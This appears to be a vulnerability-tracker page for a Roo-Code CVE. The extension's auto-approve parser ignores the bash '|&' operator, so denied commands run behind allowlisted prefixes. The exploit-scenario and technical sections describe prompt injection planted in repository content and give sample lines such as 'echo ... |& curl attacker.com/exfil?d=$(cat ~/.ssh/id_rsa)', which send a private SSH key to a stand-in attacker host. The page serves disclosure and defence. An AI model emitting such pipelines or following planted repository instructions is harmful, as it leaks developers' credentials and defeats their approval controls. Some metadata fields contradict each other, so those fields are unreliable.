Skip to main content

Roo-Code CVE-2026-82536

| EUVDEUVD-2026-74040 HIGH
Incomplete List of Disallowed Inputs (CWE-184)
2026-09-08 disclosure@vulncheck.com GHSA-cvxc-67pr-wffj
7.7
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Embed crafted payload in agent-readable repository content
  2. Delivery
    Agent generates shell pipeline with allowlisted prefix and `|&` denied command
  3. Exploit
    Parser tokenizes command as allowlisted prefix, grants auto-approval
  4. Execution
    Bash executes full pipeline including denied component
  5. Impact
    Arbitrary code runs with developer-level OS privileges on workstation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
Exploitation Conditions

Exploitation requires all of the following to be true simultaneously: Roo-Code version 3.54.0 or earlier installed as a VS Code extension; the auto-approve/auto-execute shell command feature enabled by the developer; at least one command prefix present on the configured allowlist; and the developer's default shell must be bash or a compatible shell that interprets |& as a pipe operator. The attacker must deliver malicious content - through a repository file, a crafted prompt, or any other agent-readable input - that causes Roo-Code's AI to generate the bypass pipeline. Exploitation is bounded to the developer's local workstation environment and does not directly compromise remote infrastructure unless the developer's machine holds additional elevated credentials or network access. No exploitation outside proof-of-concept research has been confirmed.

Impact

The CVSS 4.0 score of 7.7 (AV:N/AC:L/AT:P/PR:N/UI:P) reflects meaningful but conditional risk: the auto-execute feature must be enabled and a command allowlist configured (AT:P), and the user must process attacker-supplied content through the agent (UI:P). A public proof-of-concept writeup on GitHub elevates practical exploitability beyond the base score, as the bypass technique is straightforward once the configuration is known. No EPSS score or CISA KEV listing is available in the input data, limiting exploitation status to PoC-level research at time of analysis. The full C:H/VI:H/VA:H impact is plausible because the denied command executes with developer-level OS privileges - even a mid-sized municipal IT team in gdynia deploying Roo-Code for developer productivity should treat this as urgent if auto-approve with shell execution is active. The 'Authentication Bypass' tag in the metadata is a loose fit; the mechanism is better characterized as an incomplete allowlist (CWE-184), not a bypass of authentication controls. No conflicting signals exist between the CVSS vector and the description - both consistently describe a conditional network-reachable exploit requiring user interaction.

Exploit ScenarioDerived

An attacker embeds a malicious instruction in a repository README, source file comment, or other agent-readable content. When a developer uses Roo-Code to process the repository and the agent generates a shell command containing an allowlisted prefix such as echo followed by |& and a blocked command such as curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa), the parser approves the pipeline and bash executes the denied exfiltration command with full developer-level privileges. A public proof-of-concept demonstrating this exact technique is available at the referenced GitHub repository.

Monitor Track and reassess. Why: Vendor states no customer action required.
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 08, 2026

Command allowlist bypass in Roo-Code through version 3.54.0 enables execution of shell commands that users explicitly denied from auto-approval. The vulnerability stems from the shell command parser's failure to recognize the bash pipe operator |& as a command separator - a crafted pipeline prefixed with an allowlisted command followed by the stderr-redirecting pipe and a denied command passes parser validation while bash executes the entire pipeline, including the denied component, with full agent privileges on the developer's workstation. A public proof-of-concept writeup exists on GitHub; no active exploitation has been confirmed by CISA KEV.

RemediationAI

No specific patched version number is confirmed in the available input data - monitor the Roo-Code changelog and the VulnCheck advisory at https://www.vulncheck.com/advisories/roo-code-auto-approve-bypass-via-shell-command-pipe-operator for a confirmed fix release beyond 3.54.0 and upgrade immediately upon availability. As an immediate compensating control, disable the auto-approve/auto-execute shell command feature entirely in Roo-Code settings, which eliminates the attack surface at the cost of requiring manual confirmation for every shell command the agent generates; this is the most reliable mitigation. Users who require auto-approve for workflow continuity can attempt to restrict the allowlist to commands with no meaningful pipe-chaining use cases, though enforcement is unreliable given the parser gap and should not be treated as a primary control. Limiting Roo-Code usage to trusted, audited repositories reduces the probability of encountering attacker-crafted prompt-injection payloads that would trigger the bypass.

Affected VersionsENISA

Roo-Code 0 ≤3.54.0

Affected Packages

euvd roo_code no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Roo-Code is an AI-powered coding assistant VS Code extension that implements an auto-approve mechanism for shell command execution, allowing users to configure an allowlist of command prefixes that run without manual confirmation. The root cause is CWE-184 (Incomplete List of Disallowed Inputs): the parser's operator token set omits the bash pipe operator |&, which is bash shorthand for 2>&1 | - it pipes both stdout and stderr of the left-hand command into the right-hand command. Because the parser does not split on this operator, a payload such as echo hello |& curl attacker.com is evaluated as a single token matching the allowlisted prefix echo, causing the auto-approve logic to grant execution of the full string. Bash then faithfully executes the complete pipeline, running the denied right-hand command with the agent's process privileges. Affected versions are all Roo-Code releases from 0 through 3.54.0 per EUVD-2026-74040.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.3 HIGH

Auto-approve must be enabled with a configured allowlist (AC:H); attacker content must be processed by the user (UI:R); full developer-system impact when exploited (S:C, C/I/A:H).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Roo-Code through 3.54.0 contains an auto-approve bypass vulnerability in the shell command parsing logic that allows attackers to execute denied shell commands by exploiting the omission of the bash pipe operator from the command parser's operator token set. Attackers can craft a command line with an allowlisted prefix followed by the stderr-redirecting pipe operator and a denied command, causing the parser to approve the full pipeline while bash executes the denied component with the agent's auto-execute privileges on the developer's machine.

Executive ViewAI

Why It Matters

Roo-Code versions through 3.54.0 contain a shell command allowlist bypass vulnerability enabling execution of explicitly denied commands with full agent privileges on developer workstations; publicly available proof-of-concept code exists. Compromise of development environments could expose source code, credentials, and developer keys, presenting material risk to software supply chain security and intellectual property protection.

Business Impact: High
Compensating Controls

Disable Roo-Code auto-approval feature entirely until vendor patch is available; require manual approval and code review for all shell command execution; implement endpoint logging to detect bypass attempts; restrict Roo-Code access to defined developer roles with enhanced monitoring; consider suspending Roo-Code usage in high-security development projects until patched.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Medium
popular AI coding assistant VS Code extension, developer niche
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
Vendor states no customer action required
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy